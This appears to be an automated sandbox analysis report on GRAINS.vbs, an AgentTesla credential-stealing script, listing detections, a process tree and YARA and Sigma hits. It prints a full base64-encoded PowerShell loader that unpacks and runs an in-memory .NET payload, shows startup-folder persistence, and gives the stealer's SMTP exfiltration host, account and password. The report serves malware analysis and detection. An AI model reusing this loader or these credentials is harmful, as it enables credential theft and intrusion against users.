Edit tour

Windows Analysis Report
GRAINS.vbs

Overview

General Information

Sample name:	GRAINS.vbs
Analysis ID:	1556595
MD5:	4bb2f623b8e05072ed01e7fd0e9a4e28
SHA1:	b53851e2fb8d9da46d05c813da5612a04e72242f
SHA256:	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
Tags:	Formbookvbsuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious encrypted Powershell command line found

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Creates processes via WMI

Drops VBS files to the startup folder

Injects a PE file into a foreign processes

Installs a global keyboard hook

Powershell is started from unusual location (likely to bypass HIPS)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: PowerShell Script Run in AppData

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4132 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

GRAINS.vbs.exe (PID: 6872 cmdline: "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 6536 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 636 cmdline: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\GRAINS.vbs.exe" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 5124 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 3120 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Xml.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5504 cmdline: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Xml.vbs.exe" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Xml.vbs.exe (PID: 4884 cmdline: "C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 3776 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "nffplp.com", "Username": "airlet@nffplp.com", "Password": "$Nke%8XIIDtm"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1671199854.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1515150880.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.1551971360.0000000008CE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000E.00000002.2743831329.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.1748760393.0000000009576000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: GRAINS.vbs.exe PID: 6872	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: GRAINS.vbs.exe PID: 6872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GRAINS.vbs.exe PID: 6872	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: GRAINS.vbs.exe PID: 6872	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: GRAINS.vbs.exe PID: 6872	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x135292d:$b2: ::FromBase64String( 0x2e8d2:$s1: -join 0x2d1d0b:$s1: -join 0x2dd298:$s1: -join 0x1056c38:$s1: -join 0x1063d0d:$s1: -join 0x10670df:$s1: -join 0x1067791:$s1: -join 0x1069282:$s1: -join 0x106b488:$s1: -join 0x106bcaf:$s1: -join 0x106c51f:$s1: -join 0x106cc5a:$s1: -join 0x106cc8c:$s1: -join 0x106ccd4:$s1: -join 0x106ccf3:$s1: -join 0x106d543:$s1: -join 0x106d6bf:$s1: -join 0x106d737:$s1: -join 0x106d7ca:$s1: -join 0x106da30:$s1: -join
Process Memory Space: InstallUtil.exe PID: 6536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 6536	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Xml.vbs.exe PID: 4884	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Xml.vbs.exe PID: 4884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Xml.vbs.exe PID: 4884	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Xml.vbs.exe PID: 4884	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Xml.vbs.exe PID: 4884	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd34df:$b2: ::FromBase64String( 0x8cd91:$s1: -join 0x8f3c1:$s1: -join 0x60833f:$s1: -join 0x63a12f:$s1: -join 0x6b07e7:$s1: -join 0x6bd8bc:$s1: -join 0x6c0c8e:$s1: -join 0x6c1340:$s1: -join 0x6c2e31:$s1: -join 0x6c5037:$s1: -join 0x6c585e:$s1: -join 0x6c60ce:$s1: -join 0x6c6809:$s1: -join 0x6c683b:$s1: -join 0x6c6883:$s1: -join 0x6c68a2:$s1: -join 0x6c70f2:$s1: -join 0x6c726e:$s1: -join 0x6c72e6:$s1: -join 0x6c7379:$s1: -join
Process Memory Space: InstallUtil.exe PID: 3776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 3776	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.Xml.vbs.exe.9576718.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x322ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32361:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x323eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3247d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x324e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32559:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x325ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3267f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.GRAINS.vbs.exe.8ce0000.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
12.2.Xml.vbs.exe.97dddc8.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.Xml.vbs.exe.97dddc8.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.Xml.vbs.exe.97dddc8.10.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x322ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32361:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x323eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3247d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x324e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32559:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x325ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3267f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.Xml.vbs.exe.97dddc8.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.Xml.vbs.exe.97dddc8.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.Xml.vbs.exe.97dddc8.10.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.Xml.vbs.exe.97dddc8.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x340ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f50f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34161:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f581:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x341eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f60b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3427d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f69d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x342e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f707:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34359:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f779:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x343ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f80f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3447f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6f89f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x340ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34161:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x341eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3427d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x342e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34359:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x343ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3447f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.GRAINS.vbs.exe.9de6718.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.GRAINS.vbs.exe.9c4f4b8.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.GRAINS.vbs.exe.6350180.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x340ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31061f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34161:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x310691:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x341eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31071b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3427d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3107ad:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x342e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x310817:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34359:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x310889:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x343ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31091f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3447f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x3109af:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 17 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkA